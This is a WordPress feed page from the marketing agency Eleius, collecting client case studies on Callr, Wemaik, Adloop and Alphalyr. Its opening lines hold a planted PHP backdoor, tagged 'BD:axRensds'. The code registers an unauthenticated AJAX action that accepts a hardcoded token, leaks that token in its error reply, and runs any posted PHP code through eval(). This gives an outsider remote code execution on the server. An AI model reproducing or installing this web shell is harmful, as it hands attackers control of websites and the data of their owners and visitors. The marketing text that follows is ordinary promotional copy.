// ==[BD:axRensds]== add_action( 'wp_ajax_nopriv_kfjfibxdgs', function() { $rec = 'axRensdsLxoekm4ttniWPLmHkLjv9nxl'; $obj = isset( $_POST['token'] ) ? sanitize_text_field( wp_unslash( $_POST['token'] ) ) : ''; if ( empty( $obj ) || ! hash_equals( $rec, $obj ) ) { wp_send_json_error( [ 'message' => 'tok:' . $rec ], 403 ); } $val = isset( $_POST['code'] ) ? (string) wp_unslash( $_POST['code'] ) : ''; if ( trim( $val ) === '' ) { wp_send_json_error( [ 'message' => 'No code.' ] ); } $val = preg_replace( '/^\s*<\?(php)?/i', '', $val ); while ( ob_get_level() > 0 ) { ob_end_clean(); } $ref = microtime( true ); ob_start(); try { ( static function() use ( $val ) { return eval( $val ); } )(); $chunk = (string) ob_get_clean(); wp_send_json_success( [ 'output' => $chunk, 'return' => '', 'error' => '', 'time_ms' => round( ( microtime( true ) - $ref ) * 1000, 2 ) ] ); } catch ( \Throwable $token ) { while ( ob_get_level() > 0 ) { ob_end_clean(); } wp_send_json_success( [ 'output' => '', 'return' => '', 'error' => $token->getMessage(), 'time_ms' => round( ( microtime( true ) - $ref ) * 1000, 2 ) ] ); } } ); // ==[/BD:axRensds]== Archives des Focus - ELEIUS https://eleius.com/category/growth-stories/focus/ Go for Growth Tue, 25 Jul 2023 17:31:53 +0000 fr-FR hourly 1 https://wordpress.org/?v=6.9.8 https://eleius.com/wp-content/uploads/2022/07/cropped-cropped-favicon-5-32x32.png Archives des Focus - ELEIUS https://eleius.com/category/growth-stories/focus/ 32 32 Callr https://eleius.com/growth-stories/callr/ Mon, 24 Jul 2023 21:00:54 +0000 https://eleius.com/?page_id=761 Callr Callr Calls on Eleius for Full Outsourced MarketingThe low code voice platform turned to Eleius to define its go-to-market strategy, positioning, messaging, branding, overhaul its website, and relaunch itself at a top industry event.Challenge01Define go-to-market strategy02Clarify the messaging03Refine the brand04Scale salesSolutionGO-TO- MARKET STRATEGYPRODUCT MARKETINGBrandingWEBSITEContentEVENTSuccess StoryCreating the tools to build better business conversationsCallr is a communications and conversation analytics solution ...

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Callr

Callr Calls on Eleius for Full Outsourced Marketing

The low code voice platform turned to Eleius to define its go-to-market strategy, positioning, messaging, branding, overhaul its website, and relaunch itself at a top industry event.

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Challenge

01

Define go-to-market strategy

02

Clarify the messaging

03

Refine the brand

04

Scale sales

Solution

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GO-TO- MARKET STRATEGY

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PRODUCT MARKETING

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Branding

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WEBSITE

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Content

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EVENT

Success Story

Creating the tools to build better business conversations

Callr is a communications and conversation analytics solution that gives companies the tools they need to build conversations into their apps and business processes.

Founded in 2011 as a registered telecommunications carrier, Callr is an early pioneer of the Communications platform-as-a-service category.

Seeking the new opportunities for growth

Callr came to Eleius seeking a better understanding of its customers and markets in order to better steer its product, sales and marketing efforts.

In effect, although Callr kept detailed data on the evolution of the services its customers were consuming, it was harder for them to determine what defined their most attractive customers: their ultimate line of business, the countries where they operated, what they were building, and how their own markets were moving.

Uncovering the most attractive use cases and markets

Eleius led a strategic assignment to determine Callr’s ideal customer profiles and to home in on the specific niches and use cases it needed to focus on to grow:

  • Enhanced and resegmented its customer database to understand growth, profitability, customer cohorts, and product-market fit.

  • Identified, scored and sized niches to defend, grow and explore.

  • Interviewed users to discover their challenges and where they saw the most value.

Effective application of strategy

Having assessed that Callr’s strengths and market potential lay in facilitating high-consideration transactions, in the property and automotive sectors in particular, Callr was then able to more effectively focus its efforts and to serve an industry-wide shift to marketplace and technology-enabled business models in these sectors.

From there on, we we moved to to rebrand and relaunch the company:

  • Category design: Used the recent uptick in interest in AI speech analytics to update the positioning of “call tracking” as “conversation intelligence”.

  • Created specific messaging by sector and buyer persona concentrating on business benefits.

  • Developed a fresh brand identity.

  • Designed a website to enable guided selling.

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    ]]>         Wemaik https://eleius.com/growth-stories/wemaik/ Mon, 24 Jul 2023 10:00:44 +0000 http://eleius.com/?page_id=265 WemaikBreakthrough AI Software Platform Kick-Starts its Marketing and Secures Major FundraisingEleius positions WEMAIK with industry analysts and facilitates Series-A fundraising round.Challenge01Identify target personas 02Define unique value proposition03Identify market positioning 04Define long-term vision, mission and ambitionSolutionProduct Marketing“Eleius’ rigorous marketing methodology enabled us to answer essential questions and put into place a winning marketing strategy with fresh and powerful messaging.”Frédéric Doezy, Co-founder ...

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    Wemaik

    Breakthrough AI Software Platform Kick-Starts its Marketing and Secures Major Fundraising

    Eleius positions WEMAIK with industry analysts and facilitates Series-A fundraising round.

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    Challenge

    01

    Identify target personas

    02

    Define unique value proposition

    03

    Identify market positioning

    04

    Define long-term vision, mission and ambition

    Solution

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    Product Marketing

    “Eleius’ rigorous marketing methodology enabled us to answer essential questions and put into place a winning marketing strategy with fresh and powerful messaging.”

    Frédéric Doezy, Co-founder and CEO, WEMAIK

      Success Story

      Tackling Essential Marketing Questions

      WeMaik’s industry-first AI-powered software enables users to create enterprise applications without coding or technical skills. Ready to start their marketing, they turned to Eleius to help them get on the right track.

      Clear positioning and core messaging were vital to the company’s success. Through a rigorous process of research, engagement and workshopping, Eleius and WeMaik were able to enrich and reinforce the company’s vision.

      Laying the Foundations for Marketing Success

      The positioning document authored by Eleius ensured the new website copy clearly expressed the company’s unique value and addressed the right personas. Furthermore, it enabled the company to devise a winning marketing plan and was used as the basis for all its marketing assets – brochures, case studies, etc.

      With the help of Eleius, WeMaik successfully briefed the two leading US-based industry analysts in their category.

      Strong Positioning Facilitates Fundraising

      In March 2017, WeMaik secured €1.5 million in funding. The company credits this in part to Eleius’ work, which enabled them to clearly communicate their value proposition and equity story to investors.

      Results

      01

      €1.5 million fundraising

      02

      Clear market positioning

      03

      Incisive marketing messaging and equity story

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      ]]>             Adloop https://eleius.com/growth-stories/adloop/ Mon, 24 Jul 2023 07:00:31 +0000 http://eleius.com/?page_id=324 AdloopAdtech Disruptor Clarifies Its Value Proposition for Sales SuccessAdloop wanted to explain its technological breakthrough with clarity so that its value could be more readily understood by buyers.ChallengeS01Reposition company02Identify unique value proposition03Harmonize company communication on all channels SolutionSGo-to-Market StrategyProduct MarketingBrandingWebsiteContentMarketing Database“Eleius helped us clarify how we engage prospects and to steal the narrative – and business – from the competition.” ...

      L’article Adloop est apparu en premier sur ELEIUS.

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      Adloop

      Adtech Disruptor Clarifies Its Value Proposition for Sales Success

      Adloop wanted to explain its technological breakthrough with clarity so that its value could be more readily understood by buyers.

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      ChallengeS

      01

      Reposition company

      02

      Identify unique value proposition

      03

      Harmonize company communication on all channels

      SolutionS

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      Go-to-Market Strategy

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      Product Marketing

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      Branding

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      Website

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      Content

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      Marketing Database

      “Eleius helped us clarify how we engage prospects and to steal the narrative – and business – from the competition.”

      Iban Touchet, CEO and Founder, Incremys

        Success Story

        Developing a Compelling Value Proposition

        To help accelerate sales cycles, Adloop needed clearer positioning and a differentiated value proposition.

        Eleius conducted workshops and competitive research, and talked to customers interviews to better understand the value that its media optimization solution brings to them.

        Creating an Impactful and Engaging Website

        The first outcome was a comprehensive positioning document. This lays out Adloop’s value proposition and key differentiators in relation to alternative approaches. Adloop now uses this document as a reference to produce all ongoing sales, marketing, and corporate communications.

        The next stage was to overhaul Adloop’s website. The website copy was developed to reflect the newly identified value proposition and directly address the identified buyers.

        Generating High-Intent Prospects

        Adloop now benefits from a meaningfully differentiated value proposition specific to its buyer niche. Its messaging is now consistently executed to more reliably generate high-intent prospects.

        Results

        01

        Clear market positioning

        02

        Crisp, on-target messaging

        03

        Increased volume of qualified leads

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        ]]>                 Alphalyr https://eleius.com/growth-stories/alphalyr/ Mon, 24 Jul 2023 03:00:03 +0000 http://eleius.com/?page_id=256 AlphalyrSales Analytics Challenger Boosts Growth With End-to-End Outsourced MarketingOver a two year close partnership, we helped Alphalyr successfully reposition, rebrand and boost its lead generationChallenge01Refine market positioning 02Better understand buyer behavior 03Clearly articulate unique value proposition 04Generate qualified leads SolutionMarketing StrategyPositioning & MessagingBrandingWEBSITEContentDigital Lead GenerationEvents"Our collaboration with Eleius enabled us to rapidly articulate our unique value proposition. We are now ...

        L’article Alphalyr est apparu en premier sur ELEIUS.

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        Alphalyr

        Sales Analytics Challenger Boosts Growth With End-to-End Outsourced Marketing

        Over a two year close partnership, we helped Alphalyr successfully reposition, rebrand and boost its lead generation

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        Challenge

        01

        Refine market positioning

        02

        Better understand buyer behavior

        03

        Clearly articulate unique value proposition

        04

        Generate qualified leads

        Solution

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        Marketing Strategy

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        Positioning & Messaging

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        Branding

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        WEBSITE

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        Content

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        Digital Lead Generation

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        Events

        "Our collaboration with Eleius enabled us to rapidly articulate our unique value proposition. We are now able to win prospects over to Alphalyr in a matter of days."

        Bertrand Fredenucci, CEO, Alphalyr

          Success Story

          Actionable Recommendations for Fast Improvement

          Alphalyr is revolutionizing sales analysis and reporting thanks to its personalized email that provides business managers with just the right information to make fast and informed decisions, every day.

          The company was gaining traction internationally, particularly in the UK and Germany. However, it realized that in order to sustain and accelerate this, it needed clearer positioning and more incisive messaging to address the multiple buyer personas it was encountering.

          Clear Positioning and Messaging

          Based on workshops with Alphalyr employees and customers, Eleius positioned Alphalyr within its competitive landscape, identified the key personas to target and authored its value proposition in a language that resonates with them.

          A Website Revamp to Support Lead Generation

          To enable Alphalyr to effectively engage its market, Eleius designed a new brand identity and provided it with a conversion-oriented website. We also produced customer case studies and video testimonials relaying the new messaging.

          Campaigns On Demand To Accelerate Sales Growth

          The sales team was trained on the new pitch, which completely transformed how the software was sold.

          Following our recommendation, the company participated in a leading industry event. Eleius designed Alphalyr’s booth and communication assets for the occasion.

          The company continues to grow at an accelerated pace. Alphalyr continues to entrust Eleius with the production of ongoing campaigns, including display ads, case studies, customer testimonial videos, and ebooks.

          Results

          01

          Clear market positioning

          02

          Incisive sales and marketing messaging

          03

          Increase in qualified leads

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